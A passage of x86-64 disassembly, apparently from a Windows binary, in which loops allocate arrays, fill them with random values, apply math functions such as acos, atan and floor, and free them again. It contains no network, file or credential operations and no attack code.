add rax, rcx
shl rax, 5
mov rcx, rax
mov rax, qword [rbp + 0x1440]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x73c8]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x73c8], 1
cmp dword [rbp + 0x73c8], 0x17
jle 0x140002a40
add dword [rbp + 0x73cc], 1
cmp dword [rbp + 0x73cc], 0x11
jle 0x140002a31
mov dword [rbp + 0x73cc], 0
jmp 0x140002bf3
mov dword [rbp + 0x73c8], 0
jmp 0x140002bdf
mov eax, dword [rbp + 0x73cc]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x1448]
add rdx, rax
mov eax, dword [rbp + 0x73c8]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x73cc]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x1440]
add rdx, rax
mov eax, dword [rbp + 0x73c8]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x73cc]
movsxd rdx, eax
mov rax, rdx
add rax, rax
add rax, rdx
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x1438]
add rdx, rax
mulss xmm0, xmm1
mov eax, dword [rbp + 0x73c8]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x73c8], 1
cmp dword [rbp + 0x73c8], 0x17
jle 0x140002b44
add dword [rbp + 0x73cc], 1
cmp dword [rbp + 0x73cc], 0x11
jle 0x140002b35
mov rax, qword [rbp + 0x1448]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1440]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x1438]
mov rcx, rax
call sym.free
mov dword [rbp + 0x73c4], 0xffffffff
mov ecx, 0x490
call sym.malloc
mov qword [rbp + 0x1430], rax
add dword [rbp + 0x73c4], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140058270]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x73c4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1430]
add rax, rdx
movsd xmm1, qword [0x140058278]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x73c4]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1430]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x73c4]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x1430]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.acos
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x73c4], 0x90
jle 0x140002c48
mov ecx, 0x758
call sym.malloc
mov qword [rbp + 0x1428], rax
mov dword [rbp + 0x73c0], 0
jmp 0x140002d4c
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x73c0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1428]
add rax, rdx
movsd xmm1, qword [0x140058270]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x73c0], 1
cmp dword [rbp + 0x73c0], 0xea
jle 0x140002d0e
mov dword [rbp + 0x73c0], 0
jmp 0x140002db6
mov eax, dword [rbp + 0x73c0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1428]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x73c0]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x1428]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.atan
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x73c0], 1
cmp dword [rbp + 0x73c0], 0xea
jle 0x140002d64
call sym.rand
mov edx, dword [rbp + 0x742c]
movsxd rdx, edx
imul rcx, rdx, 0x138
mov rdx, qword [rbp + 0x4ed0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7428]
cdqe
mov dword [r8 + rax*4], edx
mov dword [rbp + 0x1424], 1
mov ecx, 0x748
call sym.malloc
mov qword [rbp + 0x1418], rax
mov qword [rbp + 0x73b8], 2
jmp 0x140002e5c
mov rax, qword [rbp + 0x73b8]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1418]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0x73b8], 1
cmp qword [rbp + 0x73b8], 0x1d1
jbe 0x140002e35
mov qword [rbp + 0x73b8], 2
jmp 0x140002ef3
mov rax, qword [rbp + 0x73b8]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1418]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140002eeb
mov rax, qword [rbp + 0x73b8]
mov qword [rbp + 0x73b0], rax
jmp 0x140002ed4
mov rax, qword [rbp + 0x73b8]
imul rax, qword [rbp + 0x73b0]
cmp rax, 0x1d1
jbe 0x140002ea5
add qword [rbp + 0x73b8], 1
cmp qword [rbp + 0x73b8], 0x1d1
jbe 0x140002e76
mov rax, qword [rbp + 0x1418]
mov rcx, rax
call sym.free
mov eax, dword [rbp + 0x742c]
cdqe
imul rdx, rax, 0x138
mov rax, qword [rbp + 0x4ed0]
add rdx, rax
mov eax, dword [rbp + 0x7428]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x1400033c9
cmp dword [rbp + 0x7428], 0x4d
jle 0x1400029ef
add dword [rbp + 0x742c], 1
cmp dword [rbp + 0x742c], 0x49
jle 0x140002538
mov dword [rbp + 0x4e4c], 0
mov ecx, 0x134
call sym.malloc
mov qword [rbp + 0x4e40], rax
mov dword [rbp + 0x7394], 0
jmp 0x1400034fc
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x4e4c], edx
mov edx, dword [rbp + 0x4e4c]
imul edx, edx, 0x190
sub eax, edx
mov dword [rbp + 0x4e4c], eax
cmp dword [rbp + 0x4e4c], 0x168
jle 0x140003482
mov eax, dword [rbp + 0x7394]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x4e40]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x1400034f5
cmp dword [rbp + 0x4e4c], 0
jns 0x1400034af
mov eax, dword [rbp + 0x7394]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x4e40]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x1400034f5
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x4e4c]
movsd xmm0, qword [0x140058280]
mulsd xmm0, xmm1
movsd xmm1, qword [0x140058288]
divsd xmm0, xmm1
mov eax, dword [rbp + 0x7394]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x4e40]
add rax, rdx
cvtsd2ss xmm0, xmm0
movss dword [rax], xmm0
add dword [rbp + 0x7394], 1
cmp dword [rbp + 0x7394], 0x4c
jle 0x14000341b
mov rax, qword [rbp + 0x4e40]
mov rcx, rax
call sym.free
mov dword [rbp + 0x7390], 0x82
jmp 0x14000352b
sub dword [rbp + 0x7390], 1
cmp dword [rbp + 0x7390], 0
jg 0x140003524
cmp dword [rbp + 0x7414], 0xb46
jne 0x14000354a
mov dword [rbp + 0x4efc], 1
mov dword [rbp + 0x7388], 1
jmp 0x140003606
mov dword [rbp + 0x738c], 0
mov eax, dword [rbp + 0x7388]
mov dword [rbp + 0x7384], eax
jmp 0x1400035dc
mov edx, dword [rbp + 0x7384]
movsxd rax, edx
imul rax, rax, 0x66666667
shr rax, 0x20
mov ecx, eax
sar ecx, 2
mov eax, edx
sar eax, 0x1f
sub ecx, eax
mov eax, ecx
shl eax, 2
add eax, ecx
add eax, eax
sub edx, eax
mov dword [rbp + 0x1478], edx
mov eax, dword [rbp + 0x1478]
imul eax, eax
imul eax, dword [rbp + 0x1478]
add dword [rbp + 0x738c], eax
mov eax, dword [rbp + 0x7384]
movsxd rdx, eax
imul rdx, rdx, 0x66666667
shr rdx, 0x20
mov ecx, edx
sar ecx, 2
cdq
mov eax, ecx
sub eax, edx
mov dword [rbp + 0x7384], eax
cmp dword [rbp + 0x7384], 0
jne 0x140003571
mov eax, dword [rbp + 0x738c]
cmp eax, dword [rbp + 0x7388]
jne 0x1400035ff
mov eax, dword [rbp + 0x7388]
mov dword [rbp + 0x147c], eax
add dword [rbp + 0x7388], 1
cmp dword [rbp + 0x7388], 0x5e
jle 0x140003559
mov rax, qword [rbp + 0x4ed0]
mov rcx, rax
call sym.free
mov ecx, 0x4068
call sym.malloc
mov qword [rbp + 0x4e38], rax
mov ecx, 0x4f8
call sym.malloc
mov qword [rbp + 0x4e30], rax
mov ecx, 0x4f8
call sym.malloc
mov qword [rbp + 0x4e28], rax
mov dword [rbp + 0x737c], 0
jmp 0x1400036ee
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x737c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x4e30]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x737c], 1
cmp dword [rbp + 0x737c], 0x9e
jle 0x140003664
mov dword [rbp + 0x737c], 0
jmp 0x14000375c
mov eax, dword [rbp + 0x737c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x4e30]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x737c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x4e28]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.floor
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x737c], 1
cmp dword [rbp + 0x737c], 0x9e
jle 0x14000370a
mov ecx, 0x850
call sym.malloc
mov qword [rbp + 0x4e20], rax
mov ecx, 0x850
call sym.malloc
mov qword [rbp + 0x4e18], rax
mov ecx, 0x850
call sym.malloc
mov qword [rbp + 0x4e10], rax
mov dword [rbp + 0x7378], 0
jmp 0x14000389c
mov dword [rbp + 0x7374], 0
jmp 0x140003888
cmp dword [rbp + 0x7374], 0x12
jle 0x1400037b9
cmp dword [rbp + 0x7378], 0x1b
jle 0x1400037aa
mov dword [rbp + 0x7378], 0
jmp 0x14000398b
cmp dword [rbp + 0x7378], 0x1b
jle 0x1400038b8
mov eax, 0
movups xmm6, xmmword [rbp + 0x7440]
add rsp, 0x74d8
pop rbx
pop rsi
pop rdi
pop rbp
ret